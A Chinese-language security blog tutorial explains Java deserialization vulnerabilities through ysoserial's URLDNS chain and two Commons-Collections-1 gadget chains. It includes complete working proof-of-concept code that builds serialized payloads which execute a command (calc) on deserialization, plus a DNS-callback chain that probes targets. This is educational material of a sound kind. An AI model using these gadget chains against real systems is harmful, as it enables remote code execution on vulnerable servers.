淺談Java反序列化漏洞
Java序列化與反序列化
Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。
整個過程都是 Java 虛擬機(JVM)獨立的,也就是說,在一個平臺上序列化的對象可以在另一個完全不同的平臺上反序列化該對象。
序列化是這個過程的第一部分,將數據分解成字節流,以便存儲在文件中或在網絡上傳輸。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
其中類 ObjectInputStream 和 ObjectOutputStream 是高層次的數據流,它們包含反序列化和序列化對象的方法。
eg.
下面是一個簡單的序列化、反序列化的代碼:
package top.meta;import java.io.*;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-29 14:35 */public class Serialize implements Serializable { // 必須實現Serializable接口 //serialVersionUID不寫的話,idea會自動生成,賦予每個類不同的序列化UID private static final long serialVersionUID = -3066949856415001911L; private int id; private String name; public Serialize() { } public Serialize(int id, String name) { this.id = id; this.name = name; } private void writeObject (ObjectOutputStream s) throws IOException { s.defaultWriteObject(); s.writeObject("This is writeObject"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); String s1 = (String) s.readObject(); System.out.println(s1); } public static void main(String[] args) throws IOException, ClassNotFoundException { Serialize serialize = new Serialize(1,"taamr"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(serialize); objectOutputStream.close(); System.out.println(byteArrayOutputStream); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Serialize o = (Serialize) objectInputStream.readObject(); System.out.println( o.id+ "" + o.name ); } }
運行截圖:

其中實現Serializable接口是表明當前類可以被序列化。
結合代碼,先看main函數流程。
利用構造函數實例化Serialize類并賦值了id和name屬性到serialize對象 ——>再通過ObjectOutputStream將serialize對象序列化輸出字節流到了byteArrayOutputStream ——> 并且控制臺輸出了一下byteArrayOutputStream ——> 然后通過ObjectInputStream與ByteArrayInputStream反序列化了byteArrayOutputStream字節流取到了之前序列化的對象 ——> 最后輸出了之前賦值的id與name兩個屬性
但是看控制臺他是中間有多輸出一個 "This is writeObject" ,那這個是什么時候輸出的呢?
我們看這兩個方法:

這里有一個特殊點,相比于php、python,Java提供了更靈活的方法 writeObject ,允許我們在序列化對象的時候插入一些自定義數據,并且在反序列化的時候能夠使用 readObject 進行讀取。
明白上述之后,就可以看出在我寫的Serialize類中,我自定義了writeObject方法和readObject方法,讓Serialize對象在默認序列化之后又增加寫入了一串字符串的序列化數據,并且默認反序列化之后會把這個字符串讀出來打印到控制臺。
借P神的話說,Java設計 readObject 的思路和PHP的 _wakeup 不同點在于 :readObject 傾向于解決 “反序列化時如何還原一個完整對象” 這個問題,而PHP的 _wakeup 更傾向于解決“反序列化后如何初始化這個對象”的問題 。
那我要把readObject這么寫呢
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
運行:

當然,正常業務或者組件中的可序列化類是沒有這種 ” 特殊的功能 “ 的。所以我們需要用兩個或多個常用的組件構造一個利用鏈,能從readObject(或者ObjectInputStream.readUnshared、XMLDecoder.readObject、XStream.fromXML、ObjectMapper.readValue、JSON.parseObject等等,但是本文只討論jdk只討論ObjectInputStream.readObject)開始到經過有限步驟最后執行我們的惡意方法或命令結束。
反序列化漏洞
反序列化漏洞就是,暴露或間接暴露反序列化 API ,導致用戶可以操作傳入數據,攻擊者可以精心構造反序列化對象并執行惡意代碼。
在最早15年 Gabriel Lawrence 和 Chris Frohoff 公布了 Apache Commons Collections 反序列化遠程命令執行漏洞的同時,公布了 ”反序列化漏洞利用神器“ ---ysoserial ,且在漏洞被發現的 9 個月后依然沒有有效的 Java 庫補丁來針對受到影響的產品進行加固 。各大網站爭相報道為 —— “有史以來最被低估的漏洞” 。
下面分析 ysoserial 中的兩個利用鏈,加深一下對Java反序列化漏洞的理解。
URLDNS鏈
簡單分兩部分來說,
第一部分:
這個鏈是HashMap反序列化時(執行readObject方法時)會從序列化流中讀取它在序列化時寫入的Node數組(實現Map.Entry接口的Map的內部類,Entry是描述一組鍵值對),再循環賦值給HashMap,來還原序列化之前的數據。賦值的時候調用的putVal方法,其中第一個參數是原HashMap對象中key(鍵)的hash值,計算這個hash值調用到key自己的hashCode方法。
第二部分:
URL對象的hashCode函數會在其hash值為 -1 時調用默認URLStreamHandler的hashCode方法重新計算hash值,這個方法計算hash值時會調用getHostAddress,getHostAddress里調用InetAddress類的getByName(下文忽略這步,雖然最后是在這步觸發的,但是getByName本來功能就是解析域名,其實是懶得寫了),觸發DNS解析。
結合這兩個部分就是URLDNS利用鏈。雖然整體看下來有點繞,但是下面會逐步分析。那在簡單了解的情況下,說幾點URLDNS鏈的特點和條件:
- 原生JDK中就有此鏈,并且不限版本,不限組件。簡單理解,是因為HashMap從功能原理上來說,就是按key的hash值存儲數據的散列表,且計算URL的hash值時就是需要其主機地址的(非必須,但是最好是有,減少哈希碰撞)。
- 此鏈比較適用于驗證目標應用是否有反序列化漏洞或者是否出網。
- 惡意序列化數據需要一個HashMap,并且key值是url對象,其hashcode是 -1
- 下面開始一步一步構造我們的惡意序列化數據,并且逐步調試或進入URLDNS鏈中的每個關鍵方法
首先創建URL對象并且放入HashMap中

順便我們進去看一下,url對象默認的hash值,和HashMap對象的put方法。

URL對象的默認Hash值就是 -1

HashMap中的put方法就已經調用了putVal方法,并且已經計算了Hash值。那我們先運行一下我們這三行其實就能發現,URLhash為 -1,也調用putVal了,也計算hash了,也已經觸發DNS解析了,并且DNSLOG也有記錄。(因為是邊寫邊運行,每次運行的DNSLog的url可能都不一樣,所以URL中的地址大家對照著實際的我畫的框看就行)

從實際利用來看這樣是不太行的,因為不能你構造時候就已經觸發DNS解析了,發送到目標業務反序列化時候再解析一次,DNSLog里會有垃圾數據的。
那我們看看這一步ysoserial中的URLDNS鏈是怎么做的。

還記得上面分兩部分說的第二部分不,里面說了“URL對象的hashCode函數會在其hash值為-1時調用默認URLStreamHandler的hashCode方法重新計算hash值”,這里面的URLStreamHandler就是ysoserial解決這個問題的重點。URL類在實例化對象的構造函數中有一個構造函數可以指定其URLStreamHandler。

ysoserial就是利用這個,在構造URL對象時,把默認的URLStreamHandler替換成了自己改寫的子類SilentURLStreamHandler類。而這個類也很簡單粗暴,直接把URLStreamHandler里有關解析連接的方法重寫成了return null。

這樣在我們把自己的url用put放入HashMap時,就不會有DNS解析了。(因為把觸發點所在的getHostAddress直接寫沒用了,而且目標反序列化時還是會用默認的URLStreamHandler)
那我們把ysoserial中的這個子類復制過來 (站在巨人的肩膀上)再調試一下

可以看到,雖然不會有DNS解析了, 但是hash值還是會被改變的。那在ysoserial的URLDNS(翻到上面的圖)畫紅框的最后一句,能看出來它是用自己包裝的方法把u(也就是我們的url)的hashCode屬性值給重新賦值成 -1 了 , 那我們自己動手豐衣足食利用反射也改一下url的hashCode(主要是把人家包裝的全弄過來有點多余)

最后,我們就得到了我們需要序列化的hashMap。它滿足了我們的幾個必要條件,也就是一個HashMap,并且key值是url對象,其url是我們DNSLog的地址,并且我們還解決了一個問題(hashMap中put放入url對象是會觸發DNS解析)
到現在為止我們的代碼

然后先把hashmap序列化,運行一下,順便看看之前對于hashMap.put放入數據就會解析DNS的問題有沒有解決

看來問題已經解決,在我們構造惡意序列化數據時不會解析了
那我們試著反序列化一下 (上面其實反序列化的代碼已經寫好了,只是我注釋掉了)

利用完成。利用鏈相關方法如下
首先第一步 :HashMap的readObject里調用了自身的hash方法 , 參數是key值(URL對象)

第二步:HashMap的hash方法 , 可以看出是key非空的情況下調用了key值自身的hashCode方法

第三步:URL對象的hashCode方法,在hashCode為 -1 的情況下調用了自身handler(默認是URLStreamHandler)的hashCode方法,參數是自身

第四步:URLStreamHandler類的hashCode方法中調用了自身的getHostAddress方法 ,參數是剛剛傳進來的URL對象 , 然后在里面觸發DNS解析

最后總結一下URLDNS鏈,精簡一下是下面這樣
HashMap.readObject -> HashMap.hash
HashMap.hash -> URL.hashCode
URL.hashCode -> URLStreamHandler.hashCode
URLStreamHandler.hashCode -> URLStreamHandler.getHostAddress
雖然看起來經過了5個函數調?,特別多的樣子,但是在 Java反序列化利用鏈中已經算很少了。這還是我忽略掉了getHostAddress里用的InetAddress類的getByName方法。
PS:對于URLDNS鏈的小思考
HashMap反序列化時(readObject時)會將序列化時(writeObject時)寫入的數據讀出來,放入新構造的HashMap中以實現還原序列化之前的數據,下圖可以看出調用了internalWriteEntries方法

然后建立Node數組(鍵值對數組)放入原數據

然后在readObject時讀取并放入新的HashMap

這條鏈嚴格意義上不算漏洞,因為從功能需求上來講,HashMap存儲數據時(就像上面講的),就是按Hash值存儲的散列表,而且就因為是按Hash值來存儲的,所以避免不了哈希碰撞,要盡可能的減少哈希碰撞的次數。而Java就是使?final對象,并采?各對象合適的equals?法和hashCode?法來減少Hash碰撞。而URL對象調用的URLStreamHandler類的hashCode方法就是一步一步分別計算URL的協議、Host、Port、路徑、資源類型的Hash值,再累加計算出整個URL的Hash值的。
通俗理解一下,就是下面兩個方法哪個更能減少哈希碰撞
- 你把url整個當成字符串來計算哈希值
- 各自分別計算哈希,最后算出哈希值
所以原生JDK中就有此鏈,并且不限版本,不限組件,而且也不會“修復”,因為這就是正常功能。
所以此鏈非常適用于驗證目標應用是否有反序列化漏洞或者是否出網
附上本章節完整代碼:
package top.meta;
import java.io.*;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;
/** * @author taamr * @create 2022-04-2911:17 */public class URLDNS { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URLStreamHandler urlStreamHandler = new SilentURLStreamHandler(); URL url = new URL(null, "https://4aqxl5.dnslog.cn",urlStreamHandler); HashMap hashMap = new HashMap(); hashMap.put(url,"url");
Field field = url.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = objectInputStream.readObject(); } static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; } }}
到這兒,如果一步一步都深入了解下來,自己也寫代碼調試運行了,那就算是入門Java反序列化漏洞啦,然后讓我繼續說下最經典的CC1鏈吧。
Common-Collections-1鏈
Apache Commons Collections是一個用來處理集合Collection的開源工具包。
CC1鏈需求的版本如下:
commons-collections3.1-3.2.1jdk8u71以下
commons-collections3.1-3.2.1的組建依賴,創建maven項目,導入一下依賴就行,我這里用的是3.2.1
commons-collections commons-collections 3.2.1
jdk8u71以下去官網直接下載就行,我這里用的是jdk8u66,下載windows exe安裝包安裝就行,舊版本java不會默認添加環境變量,安裝完把這個jdk添加到idea里就行,然后運行的配置里用上這個jdk
這是官網鏈接,ctrl+f 查找8u66就行 , 大家也可以多逛逛 ,其實能發現jdk的任意版本都能在相關分類里下載
Java Archive Downloads - Java SE 8 (oracle.com)

然后進入正題,先講一下CC1鏈相關聯的幾個接口、類、方法
Transformer 接口 (Common Collection 包)
public interface Transformer { public Object transform(Object input); }
官方注釋:
定義由將一個對象轉換為另一個對象的類實現的函子接口。
轉換器將輸入對象轉換為輸出對象。輸入對象應該保持不變。轉換器通常用于類型轉換,或從對象中提取數據。
有transform方法,這個方法就是上面提的 “輸入對象轉換為輸出對象,轉換器通常用于類型轉換,或從對象中提取數據” 的需要具體實現的方法。
InvokerTransformer 類 (Common Collection 包)
官方注釋:通過反射創建新對象實例的Transformer接口的實現類。
構造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;
可以看出InvokerTransformer 類有三個成員變量,iMethodName,iParamTypes,iArgs 、分別對應需要反射創建實例的方法名,參數類型,參數
然后實現的transform方法如下:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
就是將輸入對象的方法(三個成員變量對應的)利用反射調用并執行。
簡單實例化調用理解一下:
public class CC1 { public static void main(String[] args){ InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime()); } }

能看到InvokerTransformer的transform方法是需要傳遞實例化對象的,繼續看下一個類
ConstantTransformer 類 (Common Collection 包)
官方注釋: 每次返回相同常量(對象)的Transformer接口的實現類。
構造方法:
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
傳進去一個類,然后transform方法實現如下
public Object transform(Object input) { return iConstant; }
相當于無論接受什么參數,都返回新建對象時指定的iConstant成員變量對應的類。
ChainedTransformer 類 (Common Collection 包)
官方注釋:將指定的Transformer實現類鏈接在一起的Transformer接口實現。輸入對象被傳遞到第一個Transformer實現類的transform方法。transform后的結果被傳遞給第二個Transformer實現類的transform方法,以此類推
構造方法:
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
需要傳入Transformer類的數組,再看一下它的transform方法:
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
確實是如官方注釋里說的一樣,就是將輸入傳到第一個Transformer實現類的transform方法,然后結果傳給下一個的transform方法,最后執行完返回結果。
構造命令執行
那我們先暫停一下,先將上面有關CC1鏈的幾個類和方法用起來,先寫個模擬的命令執行
首先創造Transformer數組,將命令執行所需要的方法和類傳進去。

然后一步一步解析一下,這個Transformer數組,
首先是ConstantTransformer(Runtime.getRuntime()),第一個數據使用這個類,意圖也很明顯,就是把調用ChainedTransformer的transform時的參數給覆蓋掉,怎么覆蓋,就是利用ConstantTransformer的transform無論添加什么參數都返回實例化對象時指定的類。在上面圖片里很明顯就是Runtime.getRuntime()返回的Runtime這個類.
再創建一個InvokerTransformer用來調用Runtime的exec方法
然后將這個數組放入ChainedTransformer,最后調用其transform方法

成功執行命令。
那哪些類或者方法會調用到transform方法呢。目前看來是只要有東西能調用到我們構造的transformerChain的transform方法就可以利用,然后CC1鏈主要用到的是下面兩個方法
1.LazyMap 類中的 get方法 , 這也是ysoserial中使用的

2.TransformedMap類中的 checkSetValue 方法 以及 put方法

TransformedMap 類(Common Collection 包)
那我們先從TransformedMap類開始分析一下
首先看一下TransformedMap的構造方法,是protected權限的,只能在當前Common Collection包里調用
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
但是提供了靜態方法返回一個TransformedMap對象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);
那我們先用put方法試一試,能看到他是對key和value都調用了各自的transform(),所以我們調用靜態方法創建時把構造的transformerChain放入valueTransformer或者keyTransformer即可,并且需要一個map對象,因為TransformedMap主要是修飾Map的。
(下圖是TransformedMap.put()方法中調用的transformKey()和transformValue(),就是不為空的情況下調用各自transform()方法)

拿到對象后put一下,無論填什么樣的key,value,都能執行,因為在我們的transformerChain里第一個已經寫死是常量(對象)getRuntime了

但是這個需要目標應用對反序列化后的數據還要put一下才能觸發,所以還是得找readObject里頭就開始的鏈,再試一下checkSetValue()方法,checkSetValue()也是protected權限的 , 所以我們得找一下那兒調用了這個方法 , 很快啊 , 就一個用法

點進去看就能發現是TransformedMap的父類AbstractInputCheckedMapDecorator中的內部類MapEntry的方法setValue

那我們就可以調用這個方法,執行transformerChain的transform()了 ,

這里有幾個注意的點,要拿到AbstractInputCheckedMapDecorator中的內部類MapEntry,需要利用到AbstractInputCheckedMapDecorator類的其他內部類,一步一步調用,才能拿到MapEntry。
然后根據我英語四級300分的實力(菜的一批),我也能大概知道第一步transformedMap.entrySet()拿到的是entry的Set集合,第二步拿到Set集合的迭代器,第三步就是讀集合,因為要用next()讀集合,所以這個transformedMap不能為空,不然讀不到就報異常了,也沒有可用的entry,也就不能調用setValue了。(寫了很久忘了有沒有說entry就是一個鍵值對,map就是大體意義上的鍵值對的數組)
所以中間在用TransformedMap修飾之前,我put了一個無關緊要的元素,因為修飾之后再put就會觸發transformerChain的transform(在上面已經試過了)
那有沒有別的類或者方法調用了 Map.Entry.setValue 呢 這就要引出我們cc1鏈的入口AnnotationInvocationHandler類了。他是一個jdk中自帶的類,且jdk8u71以下才能利用, 顧名思義就是注解調用時的處理類 , 并且實現了InvocationHandler接口的代理類(LazyMap那條gadget會利用到這個特性)
AnnotationInvocationHandler 類 (JDK API)
先看AnnotationInvocationHandler的構造函數,是默認權限,如果要創建實例對象,需要用到反射:
AnnotationInvocationHandler(Classextends Annotation> var1, Mapvar2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
需要的兩個參數,第一個必須是實現Annotation接口(java.lang.annotation)的注解類,賦值給type,第二個就是Map,傳入我們的TransformedMap,賦值給membervalues,繼續看readObject()方法
在AnnotationInvocationHandler類的readObject中,做了如下處理

特別注意的是雖然在最后有var5.setValue的調用(能夠將我們的TransformedMap.checkSetValue()調用,觸發),但是需要滿足2個條件
- Map不等于空,能看到while循環的var4.hasNext()就是用的我們的membervalues(我們的TransformedMap)的EntrySet的迭代器iterator
- 并且Map的key里必須要有我們傳入的type(實現Annotation接口的注解類)類的成員方法的名字。這個在var2.memberTypes()里跟進去能看到,會返回memberTypes,memberTypes就是調用方法getInstance(this.type)獲取var2時調用私有構造方法賦予的關于相關Annotation注解類信息的Map,key值是相關Annotation類的所有方法名,所以var7不等于null只能是,var3.get(var6) ,也就是var2的方法名作為key的Map里查找我們TransformedMap的key的值, 最后兩個相對應才能進入var5.setValue)
第二點說難也難,說不難也有點理解不了,但是大家只要手動調試跟進去看一看就知道咋樣才能讓var7非空了
實現Annotation接口的注解類有下列這些,然后中有實際方法的只有圖中標出的Repeatable、Retention、Target,并且方法名都是value():

我們想讓var7非空,只要滿足下面兩個就行啦
- TransformedMap修飾map前put一個key值為value。
- 實例化AnnotationInvocationHandler時第一個參數,填Repeatable、Retention、Target三個中的任意一個。
最后到目前關于cc1鏈呢 是知道TransformedMap + AnnotationInvocationHandler的利用構造了,可以著手構造一個poc了
構造TransformedMap + AnnotationInvocationHandler 的 CC1鏈POC
因為原理上面已經一步一步運行過了,所以直接貼用到的相關方法,精簡的鏈如下:
AnnotationInvocationHandler.readObject() -> AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue()
AbstractInputCheckedMapDecorator.EntrySet.EntrySetIterator.MapEntry.setValue() ——> TransformedMap.checkSetValue()
TransformedMap.checkSetValue() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代碼也直接貼下面,大家看注解了解就行了 , 感覺已經很臭很長了
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), }; // Runtime是不可序列化的類,我們需要利用他的class來反射利用,因為Runtime.class實際使Class類,支持序列化 // 上面的Transformer數組相當于 Runtime.class.getMethod("getRuntime").invoke().exec("calc"); Transformer transformerChain = new ChainedTransformer(transformers); // 構造transformerChain完成 Map x = new HashMap<>(); x.put("value","1"); // put中的key值 value 是 對應的下面的Target類的value方法 (為了讓var7非空) // 修飾為TransformedMap之前put減少誤差 Map map = TransformedMap.decorate(x,null,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler obj = (InvocationHandler) constructor.newInstance(Target.class,map); // 反射取出AnnotationInvocationHandler的構造器 , 實例化并放入我們的map // Target就是上面所說的 實現Annotation接口的類 /* 序列化中 */ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); /* 序列化完畢 */ System.out.println(byteArrayOutputStream);//輸出一下序列化的數據 /* 反序列化中 */ ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = objectInputStream.readObject(); /* 反序列化完畢 執行了calc命令 */ /* 也就是說目標機器有相關組件且版本對應的情況下,我們只要把序列化的數據傳過去,對方objectInputStream.readObject()就能RCE */ } }
運行截圖:

LazyMap 類 (Common Collection 包)
照例先看一下構造函數:
protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = FactoryTransformer.getInstance(factory); }
又是protected權限的,然后又提供了靜態方法可以獲取 , 很好啊 又是靜態工廠方法
也是將一個map用Transformer修飾,這個Transformer就可以將transformerChain傳進去當成員變量factory
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
再看一下,調用transform的get方法 , 會執行factory.transform()
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
能看出來LazyMap 的作用是“懶加載”,在get找不到值的時候,它會調用 factory.transform 方法去獲取一個值
那我們構造一下,執行get方法

繼續關聯到上面說的CC1鏈入口類AnnotationInvocationHandler,在其invoke方法switch的默認步驟里就有使用memberValues.get

說到invoke方法這里需要引入proxy的動態代理
動態代理
在java的java.lang.reflect包下提供了一個Proxy類和一個InvocationHandler接口,通過這個類和這個接口可以生成JDK動態代理類和動態代理對象。
這塊我引用一下P神的講解
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance 的第一個參數是ClassLoader,我們用默認的即可;第二個參數是我們需要 代理的對象集合;第三個參數是一個實現了InvocationHandler接口的對象,里面包含了具體代理的邏輯。比如,我們寫這樣一個類ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get") == 0) { System.out.println("Hook method: " + method.getName()); return "Hacked Object"; } return method.invoke(this.map, args); } }
ExampleInvocationHandler類實現了invoke方法,作用是在監控到調用的方法名是get的時候,返回一 個特殊字符串 Hacked Object 。在外部調用這個ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App { public static void main(String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); proxyMap.put("hello", "world"); String result = (String) proxyMap.get("hello"); System.out.println(result); } }
運行App,我們可以發現,雖然我向Map放入的hello值為world,但我們獲取到的結果卻是 Hacked Object

我們回看 AnnotationInvocationHandler ,會發現實際上這個類實際就是一個InvocationHandler,我們如果將這個對象用Proxy進行代理,那么在readObject的時候,只要調用任意方法,就會進入到 AnnotationInvocationHandler.invoke()方法中,進而觸發我們的 LazyMap.get()方法
構造 LazyMap + AnnotationInvocationHandler 的CC1鏈POC
精簡的鏈步驟如下:
AnnotationInvocationHandler.readObject() ——> 對Map的任意操作會進入AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() ——> LazyMap.get()
LazyMap.get() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代碼:
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Inherited;import java.lang.annotation.Native;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map x = new HashMap<>(); Map map = LazyMap.decorate(x,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Native.class,map); // 反射取出AnnotationInvocationHandler的構造器 , 實例化invocationHandler // 因為是invoke()觸發,不需要讓var7非空, 所以上面實現Annotation接口的注解類里的6個用哪個都行 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler); // 用invocationHandler 代理map類 , 獲取被invocationHandler代理的proxyMap Object obj = constructor.newInstance(Inherited.class,proxyMap); // 再用AnnotationInvocationHandler修飾一下proxyMap 因為入口是AnnotationInvocationHandler.readObject /* 序列化中 */ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); /* 序列化完畢 */ System.out.println(byteArrayOutputStream);//輸出一下序列化的數據 /* 反序列化中 */ ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = objectInputStream.readObject(); /* 反序列化完畢 執行了calc命令 */ } }
Ysoserial中的CC1鏈
先放個截圖:

能看出來Ysoserial 是用 LazyMap + AnnotationInvocationHandler 那條鏈的,而且執行上述我們自己的LazyMap的POC時有時會彈出兩個計算器,是因為我們代理類的時候,已經將惡意transformers數組放進去了,所以在后面再修飾、或者進行其他操作時有對map的操作都會執行一次(我調試的時候有一次彈了4個)。Ysoserial中很好的把這個問題解決了,就是等一切操作完成后再用反射把對應的transformers數組替換。這里大家可以在剛剛的POC基礎上自己試一試。寫URLDNS鏈的時候我就弄過一次。
然后transformers數組中最后一個ConstantTransformer(1) ,據p牛所說,是在隱藏日志里的特征信息,因為正常LazyMap的POC會報java.lang.ProcessImpl cannot be cast to java.util.Set , 而Ysoserial會報java.lang.Integer cannot be cast to java.util.Set 。
實際上,我想了很久,TransformedMap 和 LazyMap 兩條鏈的不同之處,只在于觸發點不一樣,一個在setValue , 一個在get ,當然中間也有很多不一樣 , 但是可利用性方面是一樣的。所以我覺得可能也只是 Gabriel Lawrence 和 Chris Frohoff 更喜歡LazyMap所以用的LazyMap , 這塊就求大佬指點了
總結
如果有很認真的萌新同學、或者剛了解的童鞋,一步一步看到這,肯定對java反序列化漏洞有了一個大方向上的認識、概念,已經可以靠自身去看更多的鏈,甚至魔改鏈、魔改Ysoserial、自己找鏈。自己能找到鏈肯定是最好的,畢竟一個CVE啊 哈哈哈哈 菜雞大笑,終于寫完了 。( 放個屁:不過我得一直學別人做過的東西到啥時候呀,啥時候才能自己有新的東西)
最后,由衷地感謝讀到這里的每位朋友。
團隊博客:www.meta-sec.top